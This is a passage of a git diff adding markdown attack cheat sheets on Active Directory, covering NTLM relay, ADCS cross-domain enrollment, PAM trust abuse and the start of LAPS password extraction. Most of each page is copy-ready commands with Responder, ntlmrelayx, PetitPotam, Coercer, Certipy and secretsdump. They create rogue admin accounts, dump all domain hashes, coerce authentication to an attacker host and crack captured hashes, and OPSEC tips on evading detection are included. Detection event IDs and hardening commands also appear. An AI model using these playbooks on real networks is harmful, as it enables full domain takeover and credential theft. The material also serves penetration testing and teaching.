live session** | ✅ Must relay in real time | ❌ Offline | +| **Requires SMB signing disabled** | ✅ On target | ❌ | +| **Credential access level needed** | None (intercept only) | Local admin for LSASS dump | + +### The Full Attack Flow + +``` +1. Identify targets with SMB signing not enforced (nmap / nxc scan) +2. Build relay target list (machines where victim has admin or useful access) +3. Start Responder in "listen only" mode (disable SMB/HTTP servers) +4. Start ntlmrelayx pointing at target list +5. Trigger NTLM authentication from victim: + - LLMNR/NBT-NS/mDNS poisoning (passive — wait for victim to make typo) + - Active coercion (PetitPotam, PrinterBug, mitm6) +6. Responder poisons the name resolution → victim authenticates to attacker +7. ntlmrelayx receives Net-NTLMv2 → relays to target server +8. Gain access as victim: + - SMB shell / command execution + - SAM/NTDS hash dump + - LDAP — add new DA account, DCSync rights, Shadow Credentials + - ADCS — request machine certificate → full domain compromise +``` + +### Cross-References — Related Techniques + +**Attack #7, #8, #9 form a trilogy:** +- **#7** (NTLM Relay): The relay mechanism itself +- **#8** (LLMNR/NBT-NS/mDNS): Primary auth trigger for #7 +- **#9** (mitm6): IPv6-based alternative trigger for #7 + +**Coercion references:** +- **#33** (ESC8): ADCS endpoint relay target +- **#41** (PetitPotam): Coerce DC auth into relay +- **#42** (PrinterBug): Coerce via Print Spooler +- **#77** (DFSCoerce): Alternate coercion method + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **SMB signing not enforced on target** | The single most critical requirement — signed SMB blocks relay to SMB | +| **NTLM enabled** | Must be allowed in domain; increasingly disabled in modern environments | +| **Network position** | Must be on same subnet / broadcast domain as victim to poison name resolution | +| **Relay-capable target** | SMB (445), LDAP (389/636), HTTP, MSSQL, SMTP, RPC — multiple protocols supported | +| **Victim triggers NTLM auth** | Via typo, coercion, or poisoned name resolution | + +*** + +## 🛠️ Tools + +| Tool | Platform | Role | +|---|---|---| +| **Responder** | Linux | Name resolution poisoner (LLMNR/NBT-NS/mDNS) — captures NTLM auth | +| **ntlmrelayx.py** (Impacket) | Linux | Core relay engine — supports SMB, LDAP, LDAPS, HTTP, MSSQL, RPC, ADCS | +| **mitm6** | Linux | IPv6 DNS spoofing — forces NTLM auth via rogue DHCPv6 server | +| **MultiRelay.py** | Linux | Alternative relay tool; simpler setup | +| **CrackMapExec / NetExec** | Linux | Enumerate SMB signing status; verify access post-relay | +| **Nmap** | Linux | `smb2-security-mode.nse` — identify signing enforcement status | +| **PetitPotam** | Linux/Win | Coerce DC authentication → relay to ADCS for certificate | +| **Hashcat** | Linux/Win | Crack captured Net-NTLMv2 hashes (mode 5600) if relay not viable | +| **Krbrelayx** | Linux | Kerberos relay — relays Kerberos tickets instead of NTLM (more modern) | +| **Coercer.py** | Linux | Multi-protocol coercion — centralized coercion orchestration | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Identify Relay Targets (SMB Signing Status) + +```bash +# ── Nmap — check SMB signing on specific host ───────────────────────────────── +nmap --script smb2-security-mode.nse -p 445 10.10.10.0/24 + +# Key output — "Message signing enabled but not required" = VULNERABLE +# "Message signing enabled and required" = NOT vulnerable to SMB relay + +# ── NetExec — fast subnet-wide SMB signing check ───────────────────────────── +nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt +# Automatically generates a file of IPs where signing is NOT enforced + +# ── NetExec — manual check with verbose output ─────────────────────────────── +nxc smb 10.10.10.0/24 +# Look for 'signing:False' in output — those are your relay targets + +# ── Check LDAP signing enforcement ──────────────────────────────────────────── +nxc ldap 10.10.10.10 -u '' -p '' --ldap-signing +``` + +*** + +### 🔴 Core Setup — Responder + ntlmrelayx (SMB Relay) + +```bash +# ── STEP 1: Edit Responder config — DISABLE SMB and HTTP servers ────────────── +# (Critical: if Responder responds to auth itself, you can't relay it) +nano /etc/responder/Responder.conf +# Set: SMB = Off +# HTTP = Off + +# ── STEP 2: Start Responder to poison name resolution ───────────────────────── +sudo responder -I eth0 -rdwv +# -r = enable answers for NetBIOS wredir suffix queries +# -d = enable answers for NBNS domain suffix queries +# -w = start WPAD rogue proxy server +# -v = verbose + +# ── STEP 3: Start ntlmrelayx pointing at relay target list ──────────────────── + +# Basic relay to list of targets — interactive SMB shell +ntlmrelayx.py -tf relay_targets.txt -smb2support -i +# -i = interactive shell mode (connect via nc localhost 11000) +# -smb2support = support SMBv2 + +# Relay and execute a command directly +ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami > C:\pwned.txt" + +# Relay and dump SAM hashes (no shell needed) +ntlmrelayx.py -tf relay_targets.txt -smb2support + +# ── STEP 4: When relay succeeds, connect to interactive shell ───────────────── +nc 127.0.0.1 11000 +# You now have an SMB shell as the relayed victim user +``` + +*** + +### 🔴 LDAP Relay — Domain Privilege Escalation (No SMB Signing Required on LDAP) + +```bash +# ── Relay to LDAP — auto-escalate: create new DA user ───────────────────────── +ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --escalate-user low_user + +# ── Relay to LDAP — add DCSync rights to controlled account ────────────────── +ntlmrelayx.py -t ldap://DC01.corp.local -smb2support --escalate-user low_user +# ntlmrelayx automatically adds Replication-Get-Changes-All to low_user +# Then run DCSync: +secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local + +# ── Relay to LDAPS — dump full domain info (no signing required on LDAPS) ───── +ntlmrelayx.py -t ldaps://10.10.10.10 -smb2support --dump-adcs +ntlmrelayx.py -t ldaps://10.10.10.10 -smb2support --dump-laps + +# ── Relay to LDAP — Shadow Credentials attack (add msDS-KeyCredentialLink) ──── +ntlmrelayx.py -t ldap://10.10.10.10 --shadow-credentials \ + --shadow-target 'WORKSTATION01$' --no-validate-privs --no-dump --no-da +# After success: use the generated .pfx to get a TGT via PKINIT +# Workflow: +# 1. Relay relayed auth to LDAP with --shadow-credentials +# 2. ntlmrelayx generates a .pfx certificate file with new key credential +# 3. Extract private key from .pfx (openssl) +# 4. Use Rubeus/pyKerb to request TGT for target machine +# 5. Access as target machine account (e.g., DC, service account) + +# ── Relay to LDAP — add new computer account (MAQ abuse) ───────────────────── +ntlmrelayx.py -t ldap://10.10.10.10 --add-computer EVILPC EvilPass123! +``` + +*** + +### 🔴 ADCS Relay — Full Domain Compromise (ESC8 Preview — Deep Dive in Attack #33) + +```bash +# ── Relay to ADCS HTTP endpoint (certsrv) — request DC machine certificate ──── +# First, identify ADCS server +nxc ldap 10.10.10.10 -u low_user -p 'Password1' -M adcs + +# Start relay targeting ADCS web enrollment +ntlmrelayx.py -t http://ADCS01.corp.local/certsrv/certfnsh.asp \ + -smb2support --adcs --template "DomainController" + +# Coerce DC authentication to attacker machine (PetitPotam — Attack #41) +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + <attacker_ip> <DC_IP> + +# ntlmrelayx relays DC auth to ADCS → receives base64 certificate for DC$ +# Use Rubeus to request TGT for the DC using the certificate +.\Rubeus.exe asktgt /user:DC01$ /certificate:<base64_cert> /ptt + +# Now perform DCSync as DC01$ (has replication rights by default) +secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local +# Game over — all domain hashes dumped +``` + +*** + +### 🔴 SMB Relay with Specific Target (Single High-Value Host) + +```bash +# Target a specific machine instead of a list +ntlmrelayx.py -t smb://10.10.10.20 -smb2support -i + +# Execute specific commands on target +ntlmrelayx.py -t smb://10.10.10.20 -smb2support \ + -c "net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add" + +# Relay to MSSQL and execute commands via xp_cmdshell +ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -q "exec xp_cmdshell 'whoami'" + +# Relay to multiple different protocols simultaneously +ntlmrelayx.py -tf relay_targets.txt -smb2support \ + -t ldap://10.10.10.10 -t smb://10.10.10.20 +``` + +*** + +### 🔴 Kerberos Relay (Krbrelayx) — Beyond NTLM + +```bash +# ── Krbrelayx — relay Kerberos tickets instead of NTLM (more modern, stealthier) +# Setup: listen for Kerberos auth and relay to target service +python3 krbrelayx.py --krbsock 127.0.0.1:3333 -target smb://10.10.10.20 -spn cifs/10.10.10.20 + +# From another terminal, use a tool that initiates Kerberos auth toward krbrelayx +# Example: obtain a Kerberos TGS and relay it +# Advantages over NTLM relay: +# - Bypasses NTLM restrictions on newer Windows versions +# - Relayed ticket can be used for multiple targets +# - Less logging (Kerberos tickets are expected in normal auth) + +# ── Krbrelayx with specific TGS delegation ──────────────────────────────────── +# Relay TGS to impersonate users +python3 krbrelayx.py -spn cifs/target.corp.local --krbsock 127.0.0.1:3333 +``` + +*** + +### 🔴 Capturing & Cracking Net-NTLMv2 (Alternative if Relay Blocked) + +```bash +# ── Responder captures Net-NTLMv2 hashes (when relay isn't viable) ──────────── +# Enable SMB and HTTP in Responder.conf (opposite config from relay) +sudo responder -I eth0 -rdwv + +# Hashes saved to: /usr/share/responder/logs/ +ls /usr/share/responder/logs/ + +# ── Crack Net-NTLMv2 with Hashcat (mode 5600) ───────────────────────────────── +hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt + +# With rules +hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \ + -r /usr/share/hashcat/rules/best64.rule + +# Hash format looks like: +# Administrator::CORP:aabbccddeeff0011:Hash:ChallengeResponse +``` + +*** + +### 🔴 Triggering NTLM Authentication (Coercion Methods) + +```bash +# ── Method 1: LLMNR/NBT-NS Poisoning (passive — wait for typo) ─────────────── +# Just run Responder and wait — any victim who mistypes a hostname will +# trigger NTLM auth to your machine automatically + +# ── Method 2: PetitPotam (coerce DC auth) ──────────────────────────────────── +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + <attacker_ip> <DC_IP> + +# ── Method 3: PrinterBug / SpoolSample (coerce any host with Print Spooler) ── +python3 SpoolSample.py <target_ip> <attacker_ip> + +# ── Method 4: Coercer.py (multi-protocol coercion toolkit) ──────────────────── +python3 Coercer.py coerce -u low_user -p 'Password1' -d corp.local \ + -l <attacker_ip> -t <target_ip> +# Coercer supports multiple coercion methods: +# - [+] PetitPotam (EFS RPC) +# - [+] PrinterBug (Spooler RPC) +# - [+] DFSCoerce (NetDFS RPC) +# - [+] ShadowCoerce (VSS RPC) +# - [+] WebClient coercion (via HTTP forcing) +# Automatically rotates through available methods + +# Full syntax: +python3 Coercer.py coerce \ + -u low_user \ + -p 'Password1' \ + -d corp.local \ + -l 192.168.1.100 \ + -t 192.168.1.50 \ + --method all # Try all coercion methods + +# ── Method 5: mitm6 (IPv6 coercion — covered in Attack #9) ─────────────────── +sudo mitm6 -d corp.local +ntlmrelayx.py -6 -t ldaps://DC01.corp.local -smb2support \ + --add-computer EVILPC EvilPass123! + +# ── Method 6: DFSCoerce (Attack #77) — reliable RPC coercion ───────────────── +python3 DFSCoerce.py -d corp.local -u low_user -p 'Password1' \ + <attacker_ip> <target_ip> +``` + +*** + +## 🎯 OPSEC Tips + +- **Always disable SMB/HTTP in Responder** when running ntlmrelayx — if Responder responds first, the relay chain breaks +- **Target LDAP over SMB** when possible — LDAP relay grants persistent privileges (DCSync rights, new accounts) rather than just a shell +- **ADCS relay is the most destructive** — a single relayed DC machine account auth → certificate → TGT → DCSync → full domain in under 60 seconds +- **Don't relay back to the victim's own machine** — Windows blocks loopback NTLM relay; you'll waste the auth attempt +- **Use `--no-da --no-acl`** flags in ntlmrelayx when you don't want noisy LDAP modifications and just want to dump info first +- **Rotate relay targets** — hitting the same target repeatedly increases detection probability +- **Check for LDAP channel binding** — LDAPS with channel binding enabled blocks LDAP relay even without signing +- **Krbrelayx for modern environments** — Organizations phasing out NTLM use Kerberos relay instead; blend in with legitimate auth +- **DFSCoerce as coercion fallback** — More reliable than PrinterBug on patched systems; less logged than PetitPotam +- **Time-to-execute**: LLMNR trigger → relay → DA access in 2-5 minutes if fully automated; ADCS relay slightly longer due to certificate generation + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **STATUS_ACCESS_DENIED on relay** | Target rejects relayed auth (signing enabled or channel binding active) | Verify SMB signing status with `nxc smb <IP> \| grep signing`. Check for channel binding on LDAP with `nxc ldap <IP> --ldap-signing` | +| **LDAP signing required — relay fails** | LDAP signing enforced on domain controller | Relay to LDAPS (636) instead; if both fail, target is hardened — move to next target | +| **Channel binding failure** | LDAPS with EPA (Enhanced Protection) enabled | No LDAP relay possible; use SMB or ADCS targets instead; check `Get-ADOrganizationalUnit` for hardening level | +| **ntlmrelayx connection timeout** | Target doesn't respond or firewall blocks outbound relay attempt | Verify target is actually vulnerable (signing check), ensure network path is open, try `-vv` verbose flag to see handshake details | +| **Responder and ntlmrelayx not working together** | SMB/HTTP still enabled in Responder.conf | Edit `/etc/responder/Responder.conf`: SMB = Off, HTTP = Off; restart both tools | +| **"No suitable relay target found"** | All targets have SMB signing enabled | Expand scope: scan more subnets, or pivot to LDAP/ADCS relay instead of SMB-only | +| **Certificate not issued by ADCS during relay** | Web enrollment endpoint requires specific cert template permissions | Verify template access with `certutil -catemplates`; template may require DCSync rights; use `--template "*"` to auto-select | +| **ntlmrelayx receives auth but relay fails silently** | SMB relay receiving client auth but target rejects it (bad signing check/wrong user perms) | Run with `-vv` to see full relay handshake; verify user has admin on target; test with manual SMB shell first | + +*** + +## 🗺️ MITRE ATT&CK + +**Technique: T1557.001 — Adversary-in-the-Middle** + +**Tactics:** +- **TA0006: Credential Access** — Capture NTLM hashes via man-in-the-middle +- **TA0008: Lateral Movement** — Use relayed credentials to pivot to target systems + +**APT Groups Using NTLM Relay:** +- **APT28 (Fancy Bear)** — Documented NTLM relay in internal networks +- **APT29 (Cozy Bear)** — Active Directory lateral movement via relay techniques +- **APT41** — Relay attacks in post-compromise movement +- **Wizard Spider** — NTLM relay for domain escalation in ransomware campaigns +- **Scattered Spider** — Multi-stage relay attacks for persistence + +**Related techniques:** +- T1040: Network Sniffing +- T1187: Forced Authentication +- T1550.001: Pass the Ticket (Kerberos relay equivalent) +- T1550.002: Pass the Hash (related credential reuse) + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Logon Type 3 (network) — source IP doesn't match the account's known workstation | +| **4776** | Security Log | NTLM credential validation — source machine is unexpected for the authenticating user | +| **4768 / 4769** | Security Log | Kerberos tickets requested immediately after NTLM logon — attacker pivoting | +| **4741** | Security Log | New computer account created — ntlmrelayx `--add-computer` | +| **4728 / 4732** | Security Log | User added to privileged group — escalation via LDAP relay | +| **4662** | Security Log | Operation performed on AD object — DCSync rights being added via LDAP relay | +| **5145** | Security Log | Network share object checked — SMB relay access attempts | +| **LDAP query logs** | DC Diagnostic | Unusual LDAP modifications from a low-privilege account (adding ACEs, computer accounts) | + +**Primary detection signature:** Event 4624 Type 3 logon where the **source workstation name doesn't match the account's registered computer** — this is the clearest relay indicator. On modern SIEMs, correlating a Responder poison event (DNS/LLMNR anomalies) with a subsequent 4624 from a new source IP is near-definitive. + +### Sigma Rules (SigmaHQ) + +``` +Rule ID: detection_ntlm_relay_credential_access +Description: Detects multiple LLMNR/NBT-NS queries answered by same source IP +Event filter: Unusual responder patterns; multiple different hostnames answered by single IP +Status: MEDIUM severity + +Rule ID: detection_ldap_relay_escalation +Description: Detects LDAP modifications from unexpected source during relay window +Event filter: msDS-KeyCredentialLink modifications, DCSync ACL adds from non-DC source +Status: HIGH severity +``` + +### EDR Detections + +**Microsoft Defender for Identity:** +- Alert: "Suspected NTLM relay attack" — detects source IP responding to multiple authentication queries +- Alert: "Unusual LDAP query" — flags DCSync right additions from unexpected principals +- Alert: "Suspicious computer account creation" — MAQ abuse detection + +**Falcon (CrowdStrike):** +- Network signature: "Lateral movement — SMB relay activity" +- Process: ntlmrelayx.py execution detected +- Behavioral: Privilege escalation via LDAP modification + +### Hardening Commands + +```powershell +# ── Enable SMB signing on all machines ─────────────────────────────────────── +# GPO: Computer Configuration → Admin Templates → Network → SMB Server +# Set: "Digitally sign communications (if client agrees)" → Enabled AND "required" + +# ── Registry-based (direct on host) ────────────────────────────────────────── +reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f +reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v EnableSecuritySignature /t REG_DWORD /d 1 /f + +# ── Enforce SMB Signing via PowerShell (immediate) ──────────────────────────── +$path = "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" +Set-ItemProperty -Path $path -Name RequireSecuritySignature -Value 1 -Force +Set-ItemProperty -Path $path -Name EnableSecuritySignature -Value 1 -Force +Restart-Service LanmanServer -Force + +# ── Enable LDAP signing (block LDAP relay) ────────────────────────────────── +reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 2 /f +# Value: 0 = None, 1 = Negotiate signing, 2 = Required + +# ── Enable LDAP channel binding (block LDAPS relay even without signing) ─────── +reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "CBT Extended Protection" /t REG_DWORD /d 1 /f + +# ── Disable NTLM entirely (most aggressive) ────────────────────────────────── +# GPO: Computer Configuration → Admin Templates → Network → Restrict NTLM +# Set: "Restrict NTLM: Outgoing NTLM traffic from all computers" → Deny All + +reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictNTLMInDomain /t REG_DWORD /d 7 /f +# 7 = Deny for all, 4 = Deny for servers only + +# ── Configure EPA (Extended Protection for Authentication) ──────────────────── +# GPO: Computer Configuration → Admin Templates → Network → NTLM → +# Set: "Extended Protection for NTLM Authentication Service" → Required + +reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v ExtendedProtectionLevel /t REG_DWORD /d 2 /f +# 0 = Off, 1 = Allow (compatible), 2 = Required (most secure) + +# ── Verify all settings applied ────────────────────────────────────────────── +.\Verify-SMBSigning.ps1 # Custom script to audit all machines +``` + +*** + +## 🔗 Attack Chain Context + +``` +[NTLM Relay] ──→ Multiple Escalation Paths Depending on Target Protocol + │ + ├──→ SMB Relay → shell/code execution as victim user → LSASS dump → PtH + ├──→ LDAP Relay → add DCSync ACE to own account → dump all hashes + ├──→ LDAP Relay → Shadow Credentials → PKINIT TGT → DA access + ├──→ ADCS Relay (ESC8) → DC machine cert → TGT → DCSync → game over + ├──→ MSSQL Relay → xp_cmdshell → code execution as SQL service account + ├──→ Kerberos Relay (Krbrelayx) → TGS relay → multi-target lateral move + └──→ Net-NTLMv2 capture → Hashcat crack → valid plaintext credentials +``` + +### Protocol Relay Compatibility Matrix + +| Relay Target | SMB Signing Needed? | LDAP Signing Needed? | Channel Binding | Privilege Impact | +|---|---|---|---|---| +| **SMB** | Must be disabled | N/A | N/A | Shell/code exec as victim | +| **LDAP** | N/A | Must be disabled | Must be disabled | ACL modification, user creation | +| **LDAPS** | N/A | N/A | Must be disabled | Same as LDAP but encrypted | +| **ADCS HTTP** | N/A | N/A | N/A | Certificate → TGT → DCSync | +| **MSSQL** | N/A | N/A | N/A | xp_cmdshell code execution | + +*** + +> ✅ **Attack #7 — NTLM Relay complete.** Tell me to move on when you're ready for **Attack #8 — LLMNR / NBT-NS / mDNS Poisoning**. + +Sources + NTLM relay | The Hacker Recipes https://www.thehacker.recipes/ad/movement/ntlm/relay + CQURE Hacks #68: NTLM Relay Attacks Explained and Why It's ... https://cqureacademy.com/blog/ntlm-relay-attacks-and-why-to-phase-out/ + SMB Relay Attacks and Active Directory - TCM Security https://tcm-sec.com/smb-relay-attacks-and-how-to-prevent-them/ + Understanding NTLM Authentication and NTLM Relay Attacks https://www.vaadata.com/blog/understanding-ntlm-authentication-and-ntlm-relay-attacks/ + NTLM Relay Attacks in Practice: Exploiting Missing SMB Signing https://cqureacademy.com/blog/ntlm-relay-attacks-exploiting-missing-smb-signing/ + Network Relaying Abuse in a Windows Domain https://www.lrqa.com/en/cyber-labs/network-relaying-abuse-windows-domain/ + NTLM Relay Attacks Targeting Microsoft Domain Controllers https://cloudsecurityalliance.org/blog/2022/08/11/detecting-and-mitigating-ntlm-relay-attacks-targeting-microsoft-domain-controllers + An Open-Source Approach to Detect Pass-the-Hash Attack in Active Directory Using Wazuh and Sysmon https://link.springer.com/10.1134/S0361768825700483 + Penetration Testing and Exploitation of Active Directory Configuration Vulnerabilities https://ieeexplore.ieee.org/document/10895772/ + Bridging Bridging Gaps in Active Directory Security: Threat Landscape, Limitations, and Future-Proof Solutions https://ijeci.lgu.edu.pk/index.php/ijeci/article/view/3 + AUTHENTICATION METHODS IN ACTIVE DIRECTORY AND THEIR IMPACT ON CORPORATE ENVIRONMENT SECURITY https://csecurity.kubg.edu.ua/index.php/journal/article/view/807 + Penetration Testing Platforms for Active Directory Network Environment https://www.ijltemas.in/DigitalLibrary/Vol.13Issue4/06-10.pdf + Cyber Kill Chain Framework Approach to Map Potential Attack Vectors on Windows-based OS https://ijecbe.ui.ac.id/go/article/view/107 + Kerberos under Attack https://www.semanticscholar.org/paper/3af20812633e95bb2062ed94528c116769cbd2aa + Privilege Escalation Exploiting MS Exchange https://www.semanticscholar.org/paper/01175ce9630f49d7434518c30f8a0468213090b2 + Honey Onions: Exposing Snooping Tor HSDir Relays https://www.semanticscholar.org/paper/3ff1793ac5036dbc68b669ac43d4b0c235ea0745 + Hacking Exposed Windows 2000: Network Security Secrets and Solutions https://www.semanticscholar.org/paper/e7b97bd62a710d9dde5e45be9b53c356fd309d52 + Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf + Preventing Time Synchronization in NTP's Broadcast Mode https://arxiv.org/pdf/2005.01783.pdf + Securing Wi-Fi 6 Connection Establishment Against Relay and Spoofing Threats http://arxiv.org/pdf/2501.01517.pdf + HADES: Detecting Active Directory Attacks via Whole Network Provenance Analytics http://arxiv.org/pdf/2407.18858.pdf + Optimizing Cyber Response Time on Temporal Active Directory Networks Using Decoys http://arxiv.org/pdf/2403.18162.pdf + Applying recent secure element relay attack scenarios to the real world: Google Wallet Relay Attack http://arxiv.org/pdf/1209.0875.pdf + The Impact of DNS Insecurity on Time https://arxiv.org/pdf/2010.09338.pdf + Spoiled Onions: Exposing Malicious Tor Exit Relays http://arxiv.org/pdf/1401.4917.pdf + KB5005413: Mitigating NTLM Relay Attacks on Active Directory ... https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429 + Windows 11 will require SMB signing to prevent NTLM relay attacks https://neosolutions.ca/windows-11-will-require-smb-signing-to-prevent-ntlm-relay-attacks/ + Unpatched AD CS Vulnerability Exploitation with NTLMRelayx https://www.youtube.com/watch?v=8M9kbWE1wyM + Practical SMB Relay Attack - YouTube https://www.youtube.com/watch?v=9i5rBOkkjC0 + Exploring Uncommon NTLM Relay Attack Techniques https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/ + CQURE Hacks #68: NTLM Relay Attacks Explained — and Why It's Time to Phase Out NTLM https://www.youtube.com/watch?v=7py2n9gwzko + SMB Signing and NTLM Relay Attack Explained with Practical Demo https://www.youtube.com/watch?v=INRd9XAHaWU + IPv6 Attack with MITM6 & NTLMRELAYX https://www.youtube.com/watch?v=AmcWc2CjXx8 diff --git a/src/content/sheets/active-directory/attack-70-adcs-cross-domain-enrollment.md b/src/content/sheets/active-directory/attack-70-adcs-cross-domain-enrollment.md @@ -0,0 +1,70 @@ +--- +title: "Attack #70 — ADCS Cross-Domain Enrollment" +description: "When ADCS is deployed in a multi-domain forest, certificate enrollment often uses Enterprise CAs that serve the entire forest. A user from a child domain…" +category: active-directory +tags: ["active-directory", "adcs", "hashing"] +tools: ["Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #70 — ADCS Cross-Domain Enrollment.md" +--- +# 🔶 Attack #70 — ADCS Cross-Domain Enrollment + +*** + +## 📖 How It Works + +When ADCS is deployed in a multi-domain forest, certificate enrollment often uses **Enterprise CAs** that serve the entire forest. A user from a child domain can enroll for certificates from the forest root's CA — and if a vulnerable template exists (ESC1-ESC8), they can request a certificate for any user in the forest, including Enterprise Admins in the root domain. This provides a **cross-domain escalation path** without needing the child domain's KRBTGT hash. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Enterprise CA serving multiple domains** | Standard in most multi-domain forests | +| **Vulnerable cert template** | ESC1/ESC2/ESC4 etc. accessible from child domain | +| **Child domain user credentials** | Any authenticated user | + +*** + +## 💻 Full Commands + +```bash +# ── Enumerate cross-domain CAs ──────────────────────────────────────────────── +certipy find -u user@child.corp.local -p 'Password1' -dc-ip 10.10.10.20 \ + -vulnerable -stdout +# Look for: CAs from parent domain with vulnerable templates + +# ── Exploit ESC1 cross-domain ───────────────────────────────────────────────── +certipy req -u user@child.corp.local -p 'Password1' -ca ROOT-CA \ + -template VulnTemplate -upn Administrator@corp.local \ + -dc-ip 10.10.10.10 -target ROOT-CA.corp.local + +# ── Authenticate as forest root Administrator ───────────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Enrollment from child domain user targeting parent domain identity | + +*** + +## 🔗 Attack Chain Context + +``` +[ADCS Cross-Domain] ──→ Enroll for forest root cert from child domain + │ + ├──→ 🔗 No KRBTGT needed — pure ADCS escalation path + ├──→ 🔗 Combines with ESC1-ESC8 from Category 4 + └──→ 💀 Defeated by: harden ADCS templates, restrict enrollment across domains +``` + +*** + +> ✅ **Attack #70 — ADCS Cross-Domain Enrollment complete.** diff --git a/src/content/sheets/active-directory/attack-71-pam-trust-abuse-bastion-forest.md b/src/content/sheets/active-directory/attack-71-pam-trust-abuse-bastion-forest.md @@ -0,0 +1,79 @@ +--- +title: "Attack #71 — PAM Trust Abuse (Bastion Forest)" +description: "Get-ADTrust -Filter {TrustType -eq \"ForestTransitive\"} | Where ForestTransitive -eq $true netdom trust corp.local /domain:bastion.local /verify" +category: active-directory +tags: ["active-directory", "privilege-escalation"] +tools: ["PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #71 — PAM Trust Abuse (Bastion Forest).md" +--- +# 🔶 Attack #71 — PAM Trust Abuse (Bastion Forest) + +*** + +## 📖 How It Works + +**Privileged Access Management (PAM) trust** is a special forest trust type introduced in Server 2016 for **bastion forest** architectures. It enables time-limited group memberships via "shadow principals" — users in the bastion forest get temporary membership in privileged groups of the production forest. If the bastion forest is compromised, or if the PAM trust is misconfigured, an attacker can abuse shadow principals to gain persistent, time-unlimited admin access to the production forest. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **PAM trust exists** | Between production and bastion forest | +| **Compromise bastion forest** | Or misconfigured PAM trust | + +*** + +## 💻 Full Commands + +```powershell +# ── Enumerate PAM trust ─────────────────────────────────────────────────────── +Get-ADTrust -Filter {TrustType -eq "ForestTransitive"} | Where ForestTransitive -eq $true +netdom trust corp.local /domain:bastion.local /verify + +# ── Find shadow principals ─────────────────────────────────────────────────── +Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \ + -Filter * -Properties * + +# ── If bastion is compromised — create shadow principal mapping ────────────── +# From bastion forest as DA: +New-ADObject -Type "msDS-ShadowPrincipal" -Name "shadow-DA" \ + -Path "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \ + -OtherAttributes @{ + 'msDS-ShadowPrincipalSid' = (Get-ADGroup "Domain Admins" -Server corp.local).SID + 'member' = (Get-ADUser attacker -Server bastion.local).DistinguishedName + } +# attacker in bastion forest now has DA rights in corp.local production forest +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Authentication via PAM trust from bastion forest | +| **5136** | Security Log | Shadow principal creation/modification | + +*** + +## 🔗 Attack Chain Context + +``` +[PAM Trust] ──→ Bastion Forest Compromise → Production Forest Admin + │ + ├──→ ⚠️ Rare — only exists in environments with Server 2016+ bastion forests + ├──→ 🔗 Shadow principals = temporary group membership across trusts + └──→ 💀 Defeated by: harden bastion forest, monitor shadow principal changes +``` + +*** + +> ✅ **Attack #71 — PAM Trust Abuse complete.** + +*** + +> 🏁 **Category 9 — Trust & Forest Attacks is now COMPLETE (4/4 attacks).** diff --git a/src/content/sheets/active-directory/attack-72-laps-password-extraction.md b/src/content/sheets/active-directory/attack-72-laps-password-extraction.md @@ -0,0 +1,84 @@ +--- +title: "Attack #72 — LAPS Password Extraction" +description: "LAPS (Local Administrator Password Solution) stores unique, randomized local admin passwords in Active Directory attributes (ms-Mcs-AdmPwd for LAPS v1…" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "ldapsearch", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #72 — LAPS Password Extraction.md" +--- +# 🔷 Attack #72 — LAPS Password Extraction + +*** + +## 📖 How It Works + +LAPS (Local Administrator Password Solution) stores unique, randomized local admin passwords in Active Directory attributes (`ms-Mcs-AdmPwd` for LAPS v1, `msLAPS-Password` / `msLAPS-EncryptedPassword` for LAPS v2) on computer objects. If a user can read these attributes (via ACL misconfiguration or group membership), they can extract the cleartext local admin password for any managed computer. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Read access to LAPS attributes** | Must have `Read ms-Mcs-AdmPwd` or `Read msLAPS-Password` | +| **Domain user with delegated LAPS read rights** | Often helpdesk, 